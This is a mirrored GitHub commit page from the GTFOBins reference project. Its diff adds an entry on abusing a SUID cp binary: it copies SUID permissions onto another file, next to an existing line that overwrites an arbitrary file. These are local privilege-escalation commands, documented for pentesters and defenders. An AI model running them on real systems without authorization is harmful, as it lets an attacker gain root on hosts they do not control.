mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 14:30:07 +01:00
Add cp suid
This commit is contained in:
parent
7c9c505542
commit
cfe0a0c300
@ -18,6 +18,10 @@ functions:
|
|||||||
TF=$(mktemp)
|
TF=$(mktemp)
|
||||||
echo "DATA" > $TF
|
echo "DATA" > $TF
|
||||||
./cp $TF $LFILE
|
./cp $TF $LFILE
|
||||||
|
- description: This can copy SUID permissions from any SUID binary (e.g., `cp` itself) to another.
|
||||||
|
code: |
|
||||||
|
LFILE=file_to_change
|
||||||
|
./cp --attributes-only --preserve=all ./cp "$LFILE"
|
||||||
sudo:
|
sudo:
|
||||||
- code: |
|
- code: |
|
||||||
LFILE=file_to_write
|
LFILE=file_to_write
|
||||||
|
Loading…
Reference in New Issue
Block a user